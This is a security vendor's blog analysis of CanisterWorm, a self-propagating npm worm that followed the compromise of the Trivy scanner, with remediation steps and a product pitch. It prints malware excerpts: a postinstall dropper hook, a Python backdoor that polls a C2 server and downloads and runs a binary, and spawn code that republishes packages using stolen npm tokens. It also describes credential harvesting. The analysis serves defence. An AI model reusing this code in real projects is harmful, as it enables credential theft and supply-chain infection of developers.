CanisterWorm: How TeamPCP Turned the npm Ecosystem Into a Weapon

Umut Bayram | 9 MIN READ

LAST UPDATED ON JUNE 03, 2026

Key Takeaways

  • In mid-March 2026, TeamPCP compromised Trivy, a widely used Aqua Security vulnerability scanner, and stole npm credentials.
  • Stolen credentials fueled CanisterWorm, a self-propagating worm that infected over 60 npm packages within 24 hours.
  • CanisterWorm operates in three stages: a Node.js postinstall dropper, a Python backdoor, and a worm propagation script.
  • Developers using npm packages in the @emilgroup, @opengov, @teale.io, @leafnoise, @airtm, and @pypestream namespaces may be at risk of compromise.
  • Picus Security Validation Platform includes a dedicated CanisterWorm threat simulation (Threat ID 25123) for Linux endpoints.

CanisterWorm is a self-propagating worm first observed in mid-March 2026 that targets and spreads through npm packages.

Within about 48 hours, a threat actor known as TeamPCP conducted one of the boldest attacks ever seen through a supply chain attack in the open-source community.

First, they hacked into Trivy, an open-source scanning tool for finding vulnerabilities built by Aqua Security, and then proceeded to attack multiple npm modules using a worm that spreads itself automatically. This worm was called CanisterWorm by researchers.

This is relevant to you because if you use Trivy within your pipeline, or if your project uses any npm modules in the @emilgroup, @opengov, @teale.io, @leafnoise, @airtm, and @pypestream namespaces, you could be at risk.

In this blog, we will examine the event and the mechanisms used by CanisterWorm. Also, we will show how Picus validates your defenses against this threat.

Who Is TeamPCP?

TeamPCP is simply what the threat actors named themselves: the name can be found in the code of the malware itself and in the repositories they created to carry out the attack (tpcp-docs) [1].

What is known is that TeamPCP consists of skilled hackers with access to the resources and expertise to launch and execute such an aggressive campaign. The threat actors moved swiftly, going from a single compromise of an important security tool to infection by worms in multiple npm packages within less than 24 hours.

The threat actors were even monitoring the publications of security researchers and making changes to their code on the fly. For example, they left taunting comments addressed to the very security researcher whose analysis they had read [2].

const SERVICE_NAME = 'pgmon';

const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYgxpyZXF1ZXN0...'


// Hey charlie, I don't write JS go easy on me! <<<------ Added comment by threat actors


i
f (!BASE64_PAYLOAD) process.exit(0);

The Trivy Compromise

On March 19, 2026, TeamPCP compromised the Trivy project by Aqua Security. Trivy is a well-known and widely used tool, and compromising it allowed attackers to spread a malicious payload from inside one of the most widely used security scanners.

The attack was complex and involved abusing retained access from a previous, contained incident to commit new files to the main branch in the Trivy GitHub repository, masquerading as legitimate members of the team.

This led to a new version being released (v0.69.4), and the malicious code being uploaded to GitHub Releases, Docker Hub, and AWS ECR repositories.

Once the malware ran on a target machine, the following actions were performed simultaneously:

  • Credentials stealing: The malware searched the target environment for all possible credentials: environment variables, SSH keys, credentials for cloud providers, and even Kubernetes secrets, encrypted the found data, and sent it to a typosquat domain (scan.aquasecurtiy[.]org, note the misspelling).
  • Persistence: The malware installed itself as a systemd service that could withstand reboot cycles if it found that its target environment was a developer's machine and not a CI/CD runner.
  • GitHub Actions hijack: For anyone using malicious trivy-action and setup-trivy GitHub Actions in their workflow, the malware would scan Runner.Worker process's memory and grab all secrets available to CI jobs, such as token, etc.

Although Aqua managed to remove all the malicious files, TeamPCP already had a collection of stolen credentials, including npm tokens.

Almost 24 hours later, precisely on March 20, 2026, TeamPCP used the stolen npm tokens to launch CanisterWorm malware and compromise over 60 npm packages.

Technical Analysis: How CanisterWorm Works

The attack consists of three stages, and each stage passes the infected machine to the next level of the infection chain.

Stage 1: The Dropper (Node.js Postinstall Hook)

Everything starts when a developer runs npm install. The malicious packages include a postinstall entry in their package.json:

"scripts": {

"postinstall": "node index.js"

}

This way, npm executes threat actors’ JavaScript code right after installing a package.

All code inside the postinstall scripts is wrapped in a try/catch statement, which means that npm install ends silently regardless of whether the execution is successful or not.

When running index.js, the script does two things in parallel: installs a backdoor and harvests credentials for spreading the worm.

During installation, the script decodes a very long Base64 string embedded in the file and writes the decoded content to disk (~/.local/share/pgmon/service.py). Then the script creates a systemd user service for this backdoor (~/.config/systemd/user/pgmon.service) and starts it right away. The Restart setting of the service is set to always, meaning that it restarts on crashes and survives reboots without requiring any root privileges.

Every single artifact is renamed to look like a legit PostgreSQL monitoring tool (pgmon, pglog, .pg_state, respectively).

In order to spread CanisterWorm, the malware harvests npm publish credentials of the victim from various sources, such as ./npmrc, ~/.npmrc, /etc/npmrc files; environment variables like NPM_TOKEN and NPM_TOKENS; output of the command npm config get.

Stage 2: The Python Backdoor

After the installation of this stage of the infection chain, every infected machine continuously pings the C2 server every ~50 minutes. To prevent detection by anti-malware tools, the communication with the server includes a lot of trickery.

The Python backdoor uses only the standard library, so nothing needs to be installed, and there are no suspicious processes involved in malware execution.

Additionally, the malware uses many techniques specifically to bypass automated sandboxing mechanisms:

  • Sleeps for 5 minutes before starting any actions, allowing it to bypass most anti-virus sandbox checks
  • Pings the server (ICP Canister) every 50 minutes with spoofed browser User-Agent (Mozilla/5.0)
  • The canister doesn't serve malware directly. It simply returns a URL as plain text pointing to wherever the binary payload is currently hosted. If the URL points to YouTube (the canister's "dormant" state), the script skips it. The attacker arms the implant by updating the canister to point to a real binary and disarms it by switching back to a YouTube link.
  • If the attacker later updates the canister URL, every infected machine silently picks up the new payload on its next polling cycle.

The main logic is given below:

C_URL = "REDACTED_C2_SERVER_URL"

TARGET = "/tmp/pglog" # The name of the binary file when downloaded

 

def ping_c2_server():

try:

req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})

with urllib.request.urlopen(...)

except:

return None

 

def download_and_execute_binary(url):

try:

urllib.request.urlretrieve(url, TARGET)

os.chmod(TARGET, 0o755)

subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)

except:

pass

 

if __name__ == "__main__":

time.sleep(300)

while True:

binary_url = ping_c2_server()

if binary_url and "youtube.com" not in binary_url:

download_and_execute_binary(binary_url )

time.sleep(3000)

 

Stage 3: The Worm (deploy.js)

The last piece of malware, deploy.js, is responsible for the actual propagation mechanism. At the start of the attack, it was a separate program run by TeamPCP using stolen tokens; however, in further waves of CanisterWorm, it got embedded into malware and starts automatically after npm token harvesting.

const tokens = findNpmTokens();

if (tokens.length > 0) {

// It is executing the deploy.js if tokens are found

const deployScript = path.join(__dirname, 'scripts', 'deploy.js');

if (fs.existsSync(deployScript)) {
   spawn(process.execPath, [deployScript], {

        detached: true,

        stdio: 'ignore',

        env: { ...process.env, NPM_TOKENS: tokens.join(',') },

}).unref();

}

}

Once deploy.js is started, it tries to execute 3 steps:

  • Ping npm /-/whoami using npm token to check if the token is still alive and obtain the corresponding username
  • Query all available packages belonging to the specified user using npm search API
  • Enumerate all versions of the package, increment the patch version (i.e., 1.54.0 → 1.54.1), replace the contents of index.js with the malicious one, keep the original README, and re-publish the package using the --tag flag.

As a result, anyone who subsequently runs npm install for any of those packages gets the compromised version. If they have npm tokens on their machine, the worm propagates again.

Mitigation & Remediation of CanisterWorm

Mitigation here falls into two categories: cleaning up an existing infection and hardening against future attacks.

If You Think You're Already Infected

1. Kill and remove the backdoor service:

systemctl --user stop pgmon

systemctl --user disable pgmon

2. Delete the malware files:

rm ~/.config/systemd/user/pgmon.service

rm -rf ~/.local/share/pgmon/

rm -f /tmp/pglog /tmp/.pg_state

systemctl --user daemon-reload

3. Rotate every credential that was on the machine, assume they are all compromised:

  • Revoke and regenerate any npm tokens
  • Rotate AWS, GCP, and Azure keys
  • Regenerate SSH keypairs
  • Rotate any GitHub tokens or CI secrets

4. Audit your own npm packages for versions you didn't publish. Look for unexpected patch bumps (e.g., you published 1.4.2 but 1.4.3 now exists on the registry). If found, unpublish the compromised version and publish a clean one.

Hardening Against Future Attacks

Always use lock files

Commit package-lock.json to version control and never ignore it. Lock files enforce exact versions and integrity hashes across all environments, making unexpected version changes immediately visible.

Use limited-time scoped npm tokens

Avoid storing long-lived publish tokens in ~/.npmrc or global environment variables. Use short-lived scoped npm tokens.

Use a version adoption cooldown

Since malware is usually discovered and deleted quickly, postponing package adoption (i.e., installing new packages) by a few hours reduces the risk considerably.

How Picus Simulates CanisterWorm Attacks?

We also strongly suggest simulating CanisterWorm Attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Security Validation Platform. You can also test your defenses against hundreds of other malware variants, such as BRICKSTORM, VenomRAT, Chinotto, and Rustonotto, within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for the CanisterWorm Attacks:

Threat ID

Threat Name

Attack Module

25123

Canisterworm Malware Campaign

Linux Endpoint

Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Security Validation Platform.

References

[1] R. McCarthy, “Trivy Compromised: Everything You Need to Know about the Latest Supply Chain Attack,” wiz.io. Accessed: Jun. 02, 2026. [Online]. Available: https://www.wiz.io/blog/trivy-compromised-teampcp-supply-chain-attack

[2] C. Eriksen, “TeamPCP deploys CanisterWorm on NPM following Trivy compromise.” Accessed: Jun. 02, 2026. [Online]. Available: https://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise

 
CanisterWorm is a self-propagating worm that infected over 60 npm packages within 24 hours in mid-March 2026. It was deployed by a threat actor group called TeamPCP following the compromise of Trivy, an open-source vulnerability scanner by Aqua Security. The worm spreads by harvesting npm credentials from infected developer machines and republishing compromised package versions.
TeamPCP is the name the threat actors gave themselves, visible in their malware code and in repositories they created to conduct the attack. TeamPCP demonstrated sophisticated capabilities, moving from a single tool compromise to infecting dozens of npm packages in under 24 hours. They also monitored security researcher publications in real time and updated their code accordingly.
CanisterWorm spreads through npm's postinstall hook. When a developer runs npm install on a compromised package, a malicious script executes automatically. The script harvests any npm tokens found on the machine from files like .npmrc and environment variables, then uses those tokens to republish additional packages with injected malicious code, continuing the cycle.
Developers using packages in the @emilgroup, @opengov, @teale.io, @leafnoise, @airtm, and @pypestream namespaces may be at risk of compromise. Anyone who installed packages from these namespaces during the attack window should audit their environments for unexpected patch version bumps and rotate all credentials that were present on the affected machine.
Once installed, the Python-based backdoor pings a command-and-control server approximately every 50 minutes using a spoofed browser User-Agent to avoid detection. The server returns a URL pointing to a binary payload. If the URL is not a YouTube link, the backdoor downloads and executes the payload silently. The backdoor runs as a systemd user service and persists across reboots without requiring root privileges.
Look for an unexpected systemd user service named pgmon and files located at ~/.local/share/pgmon/service.py and ~/.config/systemd/user/pgmon.service. Also, check your published npm packages for patch version bumps you did not create. If you used Trivy v0.69.4 or installed packages from the affected namespaces around mid-March 2026, treat all credentials on that machine as compromised.
Stop and disable the pgmon service using systemctl, then delete the associated files from ~/.config/systemd/user/ and ~/.local/share/pgmon/. Also, remove /tmp/pglog and /tmp/.pg_state and reload the systemd daemon. After cleanup, rotate every credential that was present on the machine, including npm tokens, cloud provider keys, SSH keypairs, and any GitHub or CI secrets.
The Picus Security Validation Platform includes a dedicated CanisterWorm threat simulation under Threat ID 25123 for Linux endpoints. This allows security teams to test the effectiveness of their controls against this specific attack

Table of Contents

Ready to start? Request a demo